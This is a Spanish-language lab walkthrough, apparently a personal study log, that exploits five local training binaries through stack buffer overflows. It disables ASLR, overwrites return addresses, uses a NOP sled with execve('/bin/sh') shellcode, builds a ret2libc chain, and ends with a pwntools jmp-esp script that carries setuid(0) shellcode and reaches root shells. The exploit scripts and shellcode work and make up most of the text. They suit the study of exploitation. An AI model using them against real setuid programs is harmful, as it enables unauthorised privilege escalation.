Level One

Comparación de caracteres.

Vamos a desactivar el ASRL temporalmente.

➜  levels echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0
  • Lo primero que vamos hacer es analizar el código que esta escrito en C.

  • Vemos que se esta definiendo un Buffer de tamaño 32 bytes, esta asignado una variable long key con valor 0x12345678.

  • Esta es la parte interesante ya que vemos que si se igual el valor key a 0x42424242 se va ejecutar una /bin/sh que es el objetivo en caso de que no sea ese valor no se hará nada.
if(key == 0x42424242) {
        execve("/bin/sh", 0, 0);
    }
    else {
        printf("%s\n", "Sorry try again...");
    }
  • Para saber a cuanto equivale el valor key podemos hacerlo desde bash.
➜  levels echo -ne "\x42"
B%
  • Como sabemos que equivale ala letra B vemos que esta igualado a 4 B para poder obtener la Bash que necesitamos necesitamos enviar el tamaño del Buff que son 32 bytes + las B para que la condición se true y se ejecute.

  • Vamos a crear un script rápido en python que haga todo lo que necesitamos.

#!/usr/bin/python2

first = b"A" * 32 # le pasamos 32 veces A para el buffer

key = b"B" * 4 # le pasamos las 4 B 

print(first + key)
  • Al cumplirse todas las condiciones nos debería de otorgar una bash como el usuario que esta corriendo el binario en este caso será mi usuario ya que yo lo estoy ejecutando.

  • Allí podemos ver los prints que se cumplen y por eso nos otorga la bash.

➜  levels ./levelOne $(python2 scriptOne.py)
Buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Key is: 0x42424242
$ whoami
miguel

LevelTwo

Llamada a la dirección de una función que te otorga una /bin/sh.

  • Continuamos con el nivel 2 vamos a ver el código.

  • En este caso vemos que en el código se esta definiendo el uid al propietario del binario ósea level2 ya que este es el segundo binario el uid funciona para almacenar identificadores de usuario, es el identificador de usuario en Linux y antes del return podemos ver que esta llamando a una función llamada hello.

  • En esta imagen vemos el código de la función hello que se esta usando en el código.

  • Vemos que se define un tamaño de 28 bytes y usa strcpy que copea el argumento que le pasas.

  • Si inspeccionamos la funciona spawn tenemos que pasarle 3 argumentos para que nos de una Bash.

void spawn(void)
{
  setuid(0);//privilegios de super usuario
  char *args[] = {"/bin/sh", NULL};  // Argumentos para /bin/sh
  char *env[] = {NULL};  // No se pasan variables de entorno
  execve("/bin/sh", args, env); // se interpreta la bash
  return;
}
➜  levels gdb -q levelTwo
Reading symbols from levelTwo...
(No debugging symbols found in levelTwo)
gdb-peda$
  • En el código vimos que se esta definiendo que son 28 bytes de buffer a si que vamos a enviar 100 bytes para ver si se corrompe el binario.
gdb-peda$ pattern_arg 100
Set 1 arguments to program
  • Ahora lo corremos.
gdb-peda$ run
Starting program: /home/miguel/StackOverflow/levels/levelTwo 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hello AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0x6b ('k')
EBX: 0x413b4141 ('AA;A')
ECX: 0xffffcf0c --> 0x2e6b3000 ('')
EDX: 0x1
ESI: 0xffffcfe0 --> 0x2
EDI: 0xf7ffcba0 --> 0x0
EBP: 0x41412941 ('A)AA')
ESP: 0xffffcf90 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x61414145 ('EAAa')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x61414145
[------------------------------------stack-------------------------------------]
0000| 0xffffcf90 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffcf94 ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffcf98 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffcf9c ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffcfa0 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffcfa4 ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffcfa8 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xffffcfac ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x61414145 in ?? ()
gdb-peda$
  • Ahora lo que tenemos que hacer es buscar el offset que es un valor para determinar la posicion en la memoria que se va a sobrescribir para esto le vamos a pasar el EIP que es la dirección de memoria de la próxima instrucción a ejecutar, el objetivo es manipular el valor del registro EIP para que apunte a una dirección de memoria controlada por nosotros.
gdb-peda$ pattern_offset 0x61414145
1631666501 found at offset: 36
  • Ahora vimos que en el código hay una función spawn y necesitamos saber su dirección a si que vamos a buscarla.
gdb-peda$ info function ^spawn$
All functions matching regular expression "^spawn$":

Non-debugging symbols:
0x565561e9  spawn
  • Y bueno ya tenemos la dirección pero como estamos en little endian tenemos que darle la vuelta ala dirección.
0x565561e9      |    \x56\x55\x61\xe9    | \xe9\x61\x55\x56
  • Ahora como ya tenemos todo listo podemos seguir con el script para que todo esto funcione.
➜  levels cat scriptTwo.py
#!/usr/bin/python2

offset = 36 # pattern_offset 0x61414145

null = b"A" * offset # vamos a pasarle eso para asta llegar al EIP

spawn = b"\xe9\x61\x55\x56" # Le pasamos la direccion para que el EIP apunte a ala funcion spawn

print(null + spawn)
  • Y funciona.
➜  levels ./levelTwo $(python2 scriptTwo.py)
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�UV
# whoami
root
#

Level 3

Stack Based.

  • Vamos a observar el código.

  • Después de analizar con ghidra esta es la funciona main.

  • Esta haciendo casi lo mismo pero ahora llama a la funciona overflow.

  • Ahora define un buffer de 260 bytes y copea el argumento con la función strcpy que habíamos visto de antes en los binarios anterior, si param_1 contiene más de 260 caracteres, los datos adicionales se escribirán en la memoria adyacente a local_10c, lo que puede provocar un desbordamiento de búfer.
void overflow(char *param_1)

{
  char local_10c [260];
  
  strcpy(local_10c,param_1);
  printf("Buf: %s\n",local_10c);
  return;
}
  • Vamos a volver a usar gdb para corromper el binario.
➜  levels gdb -q levelThree
Reading symbols from levelThree...
(No debugging symbols found in levelThree)
gdb-peda$ pattern_arg 300
Set 1 arguments to program
gdb-peda$ run
Starting program: /home/miguel/StackOverflow/levels/levelThree 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Buf: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0x132
EBX: 0x25413225 ('%2A%')
ECX: 0xffffd0bc --> 0x13ecbc00
EDX: 0x1
ESI: 0xffffd270 --> 0x2
EDI: 0xf7ffcba0 --> 0x0
EBP: 0x64254148 ('HA%d')
ESP: 0xffffd220 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
EIP: 0x41332541 ('A%3A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41332541
[------------------------------------stack-------------------------------------]
0000| 0xffffd220 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0004| 0xffffd224 ("eA%4A%JA%fA%5A%KA%gA%6A%")
0008| 0xffffd228 ("A%JA%fA%5A%KA%gA%6A%")
0012| 0xffffd22c ("%fA%5A%KA%gA%6A%")
0016| 0xffffd230 ("5A%KA%gA%6A%")
0020| 0xffffd234 ("A%gA%6A%")
0024| 0xffffd238 ("%6A%")
0028| 0xffffd23c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41332541 in ?? ()
gdb-peda$
  • Ahora buscamos el offset le vamos a pasar el EIP.
gdb-peda$ pattern_offset 0x41332541
1093870913 found at offset: 268
#!/usr/bin/python2

offset = 268

shellcode  = b""
shellcode += b"\x6a\x0b\x58\x99\x52\x68\x2f"
shellcode += b"\x2f\x73\x68\x68\x2f\x62\x69"
shellcode += b"\x6e\x89\xe3\x31\xc9\xcd\x80"
  • Ahora vamos a usar NOP que no realiza ninguna acción solo es para rellenar el espacio que falta en la memoria para permitir que el flujo del control del programa sea manipulado pero muy importante tenemos que restarle el tamaño del shellcode por que no podemos pasarnos de 268 bytes para no sobrescribir el EIP.
➜  levels cat scriptThree.py
#!/usr/bin/python2
# -*- coding: utf-8 -*-

offset = 268 #En el shellcode son las intrucciones maliciosas

shellcode  = b""
shellcode += b"\x6a\x0b\x58\x99\x52\x68\x2f"
shellcode += b"\x2f\x73\x68\x68\x2f\x62\x69"
shellcode += b"\x6e\x89\xe3\x31\xc9\xcd\x80"

junk = b"\x90" * (offset - len(shellcode)) #x90", representa la instrucción "NOP" en lenguaje de máquina
eip = b"B" * 4 #eip contiene una secuencia de caracteres "B" repetidos 4 veces, lo que representa el valor que se escribirá en el registro EIP.
print(junk + shellcode + eip)
  • Ahora para probar vamos con gdb pasando el script como argumento.
gdb-peda$ run $(python2 scriptThree.py)
Starting program: /home/miguel/StackOverflow/levels/levelThree $(python2 scriptThree.py)
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Buf: j
      XRh//shh/bin��BBBB

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0x116
EBX: 0xe3896e69
ECX: 0xffffd0dc --> 0xe67ff500
EDX: 0x1
ESI: 0xffffd290 --> 0x2
EDI: 0xf7ffcba0 --> 0x0
EBP: 0x80cdc931
ESP: 0xffffd240 --> 0xffffd400 --> 0x3
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd240 --> 0xffffd400 --> 0x3
0004| 0xffffd244 --> 0x0
0008| 0xffffd248 --> 0x0
0012| 0xffffd24c ("7bUV")
0016| 0xffffd250 --> 0x0
0020| 0xffffd254 --> 0x0
0024| 0xffffd258 --> 0x13
0028| 0xffffd25c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$
  • Como pudimos ver EIP contiene BBBB que era lo que definimos que haga en el script.

  • Vamos a buscar en la pila alguna dirección que contenga los nops que están antes del shellcode.

  • El comando funciona para inspeccionar la memoria vamos a examinar 300 unidades w quiere decir que cada unidad que se examina es una palabra y x indica que el formato de salida debe ser hexadecimal.

$esp es el registro del stack pointer en arquitecturas x86. Este registro apunta a la cima de la pila en la memoria. En el contexto de un programa que ejecuta un exploit de desbordamiento de buffer, $esp te dirá dónde está actualmente la “cima” de la pila, lo cual es crítico para entender cómo tus datos (o payload) están organizados en la memoria.

gdb-peda$ x/300wx $esp
0xffffd240:	0xffffd400	0x00000000	0x00000000	0x56556237
0xffffd250:	0x00000000	0x00000000	0x00000013	0x00000000
0xffffd260:	0xf7c216ac	0xf7fd9e61	0xf7c1c9a2	0xffffd290
0xffffd270:	0xf7e1dff4	0x56556280	0x00000000	0xf7c237c5
0xffffd280:	0x00000001	0x00000000	0x00000078	0xf7c237c5
0xffffd290:	0x00000002	0xffffd344	0xffffd350	0xffffd2b0
0xffffd2a0:	0xf7e1dff4	0x56556212	0x00000002	0xffffd344
0xffffd2b0:	0xf7e1dff4	0x56556280	0xf7ffcba0	0x00000000
0xffffd2c0:	0x8a0cc8d7	0xf1c6e2c7	0x00000000	0x00000000
0xffffd2d0:	0x00000000	0xf7ffcba0	0x00000000	0xd1348400
0xffffd2e0:	0xf7ffda30	0xf7c23756	0xf7e1dff4	0xf7c23888
0xffffd2f0:	0xf7fcaac4	0x56559000	0x00000002	0x56556090
0xffffd300:	0x00000000	0xf7fdbe80	0xf7c23809	0x56559000
0xffffd310:	0x00000002	0x56556090	0x00000000	0x565560c1
0xffffd320:	0x56556212	0x00000002	0xffffd344	0x56556280
0xffffd330:	0x565562e0	0xf7fceca0	0xffffd33c	0xf7ffda30
0xffffd340:	0x00000002	0xffffd4bc	0xffffd4e9	0x00000000
0xffffd350:	0xffffd5fa	0xffffd60e	0xffffd619	0xffffd626
0xffffd360:	0xffffd684	0xffffd693	0xffffd6b7	0xffffd6ce
0xffffd370:	0xffffdde7	0xffffddfb	0xffffde08	0xffffde12
0xffffd380:	0xffffde1d	0xffffde30	0xffffde49	0xffffde58
0xffffd390:	0xffffde63	0xffffde6e	0xffffde91	0xffffdeac
0xffffd3a0:	0xffffdeca	0xffffdee8	0xffffdef0	0xffffdf16
0xffffd3b0:	0xffffdf3f	0xffffdf54	0xffffdf5f	0xffffdf67
0xffffd3c0:	0xffffdf87	0xffffdfb6	0xffffdfbf	0x00000000
0xffffd3d0:	0x00000020	0xf7fc8570	0x00000021	0xf7fc8000
0xffffd3e0:	0x00000033	0x00000e30	0x00000010	0x0f8bfbff
0xffffd3f0:	0x00000006	0x00001000	0x00000011	0x00000064
0xffffd400:	0x00000003	0x56555034	0x00000004	0x00000020
0xffffd410:	0x00000005	0x0000000b	0x00000007	0xf7fca000
0xffffd420:	0x00000008	0x00000000	0x00000009	0x56556090
0xffffd430:	0x0000000b	0x00000000	0x0000000c	0x00000000
0xffffd440:	0x0000000d	0x00000000	0x0000000e	0x00000000
0xffffd450:	0x00000017	0x00000000	0x00000019	0xffffd49b
0xffffd460:	0x0000001a	0x00000002	0x0000001f	0xffffdfcb
0xffffd470:	0x0000000f	0xffffd4ab	0x0000001b	0x0000001c
0xffffd480:	0x0000001c	0x00000020	0x00000000	0x00000000
0xffffd490:	0x00000000	0x00000000	0x29000000	0xf4d13484
0xffffd4a0:	0xe3943ad4	0xa212ba18	0x6939ccce	0x00363836
0xffffd4b0:	0x00000000	0x00000000	0x00000000	0x6d6f682f
0xffffd4c0:	0x696d2f65	0x6c657567	0x6174532f	0x764f6b63
0xffffd4d0:	0x6c667265	0x6c2f776f	0x6c657665	0x656c2f73
0xffffd4e0:	0x546c6576	0x65657268	0x90909000	0x90909090
0xffffd4f0:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd500:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd510:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd520:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd530:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd540:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd550:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd560:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd570:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd580:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd590:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd5a0:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd5b0:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd5c0:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd5d0:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd5e0:	0x99580b6a	0x2f2f6852	0x2f686873	0x896e6962
0xffffd5f0:	0xcdc931e3	0x42424280	0x4f430042	0x54524f4c
0xffffd600:	0x3d4d5245	0x65757274	0x6f6c6f63	0x49440072
0xffffd610:	0x414c5053	0x303a3d59	0x4e414c00	0x2e433d47
0xffffd620:	0x2d465455	0x41500038	0x2f3d4854	0x2f727375
0xffffd630:	0x61636f6c	0x62732f6c	0x2f3a6e69	0x2f727375
0xffffd640:	0x61636f6c	0x69622f6c	0x752f3a6e	0x732f7273
0xffffd650:	0x3a6e6962	0x7273752f	0x6e69622f	0x62732f3a
0xffffd660:	0x2f3a6e69	0x3a6e6962	0x7273752f	0x636f6c2f
0xffffd670:	0x672f6c61	0x73656d61	0x73752f3a	0x61672f72
0xffffd680:	0x0073656d	0x4d524554	0x616c613d	0x74697263
0xffffd690:	0x58007974	0x48545541	0x5449524f	0x682f3d59
0xffffd6a0:	0x2f656d6f	0x7567696d	0x2e2f6c65	0x74756158
0xffffd6b0:	0x69726f68	0x58007974	0x435f4744	0x45525255
0xffffd6c0:	0x445f544e	0x544b5345	0x693d504f	0x534c0033
0xffffd6d0:	0x4c4f435f	0x3d53524f	0x303d7372	0x3d69643a
0xffffd6e0:	0x333b3130	0x6e6c3a34	0x3b31303d	0x6d3a3633
gdb-peda$
  • Bueno vamos a tomar una dirección que contengo solo nops que es la esta mas repetida en este caso seria esta que yo elegí 0xffffd520:0x90909090.

  • Junk contiene una secuencia de caracteres \x90 que, en hexadecimal, equivale a 0x90, que es una sola instrucción NOP.

  • De igual forma estamos en little endian así que vamos a darle la vuelta.

0xffffd530    | \xff\xff\xd5\x30     | \x30\xd5\xff\xff
  • Ahora lo que vamos a hacer es cambiar los 4 B que habías puesto por la dirección en los nops esto para que los nops se desplacen en la pila asta llegar al shellcode y se ejecute.
➜  levels cat otro.py
#!/usr/bin/python2
# -*- coding: utf-8 -*-

offset = 268  # En el shellcode son las instrucciones maliciosas

shellcode  = b""
shellcode += b"\x6a\x0b\x58\x99\x52\x68\x2f"
shellcode += b"\x2f\x73\x68\x68\x2f\x62\x69"
shellcode += b"\x6e\x89\xe3\x31\xc9\xcd\x80"

# x90 representa la instrucción "NOP" en lenguaje de máquina
junk = b"\x90" * (offset - len(shellcode))

# Usamos la dirección deseada en little endian
eip = b"\x30\xd5\xff\xff"

# Salida del payload completo
print(junk + shellcode + eip)
  • Ahora lo ejecutamos.
➜  levels ./levelThree $(python2 otro.py)
Buf: j
      XRh//shh/bin��0�
# whoami
root

Ret2libc

  • Ret2libc, abreviatura de “return-to-libc”, es una técnica clásica de explotación utilizada para eludir medidas de seguridad que previenen la ejecución de código inyectado, como las protecciones contra ejecución en la pila (stack). Esta técnica implica manipular la pila de llamadas de un programa vulnerable para hacer que ejecute funciones ya presentes en la biblioteca libc, como system(), que puede ejecutar comandos de shell.

  • Vamos analizar el código.

  • Esta es la función main.

  • Esta es la función overflow y vemos que le esta dando 20 bytes de tamaño al buffer.

  • El problema de ahora es que no podemos correr el shellcode de antes por que mide mas del buffer asignado.

  • Comenzamos enviado 50 bytes.

➜  levels gdb -q levelFour
Reading symbols from levelFour...
(No debugging symbols found in levelFour)
gdb-peda$ pattern_arg 50
Set 1 arguments to program
gdb-peda$ run
Starting program: /home/miguel/StackOverflow/levels/levelFour 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Buf: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0x38 ('8')
EBX: 0x41412d41 ('A-AA')
ECX: 0xffffcf4c --> 0x48d58600
EDX: 0x1
ESI: 0xffffd010 --> 0x2
EDI: 0xf7ffcba0 --> 0x0
EBP: 0x44414128 ('(AAD')
ESP: 0xffffcfc0 ("A)AAEAAaAA0AAFAAbA")
EIP: 0x413b4141 ('AA;A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x413b4141
[------------------------------------stack-------------------------------------]
0000| 0xffffcfc0 ("A)AAEAAaAA0AAFAAbA")
0004| 0xffffcfc4 ("EAAaAA0AAFAAbA")
0008| 0xffffcfc8 ("AA0AAFAAbA")
0012| 0xffffcfcc ("AFAAbA")
0016| 0xffffcfd0 --> 0x4162 ('bA')
0020| 0xffffcfd4 --> 0x0
0024| 0xffffcfd8 --> 0x13
0028| 0xffffcfdc --> 0x3e8
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x413b4141 in ?? ()
gdb-peda$
  • Vamos a ver el offset.
gdb-peda$ pattern_offset 0x413b4141
1094402369 found at offset: 28
  • En este tipo de explotaciones tenemos que saber la dirección de la función system y exit ya que son funciones de libc.
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7c4c870 <system>
gdb-peda$
  • Ahora la dirección de exit.
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7c3c130 <exit>
  • Ahora vamos a ver la dirección de /bin/sh de libc.
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc.so.6 : 0xf7db5fc8 ("/bin/sh")
  • Estamos en little endian entonces tenemos que darle la vuelta a todas las direcciones.
0xf7c4c870    |   \xf7\xc4\xc8\x70
0xf7c3c130    |   \xf7\xc3\xc1\x30
0xf7db5fc8    |   \xf7\xdb\x5f\xc8
  • Ahora definimos el script.
➜  levels cat levelFour.py
#!/usr/bin/python2

offset = 28

junk = b"A" * offset

addr_system = b"\x70\xc8\xc4\xf7"
addr_exit = b"\x30\xc1\xc3\xf7"
addr_bin_sh = b"\xc8\x5f\xdb\xf7" # aqui es donde llamamos a /bin/bash para que nos de una shell

print(junk + addr_system + addr_exit + addr_bin_sh)
  • Lo ejecutamos.
➜  levels ./levelFour $(python2 levelFour.py)
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAp�0���
# whoami
root

Level 5

#!/usr/bin/python2
from pwn import process, p32

shell = process("./levelFive")

offset = 16
junk = b"A" * offset

jmpesp = p32(0xf7dd4ff7)

setuid = b"1\xdbj\x17X\xcd\x80"

shellcode  = b""
shellcode += b"\x6a\x0b\x58\x99\x52\x68\x2f"
shellcode += b"\x2f\x73\x68\x68\x2f\x62\x69"
shellcode += b"\x6e\x89\xe3\x31\xc9\xcd\x80"

shell.sendline(junk + jmpesp + setuid + shellcode)
shell.interactive()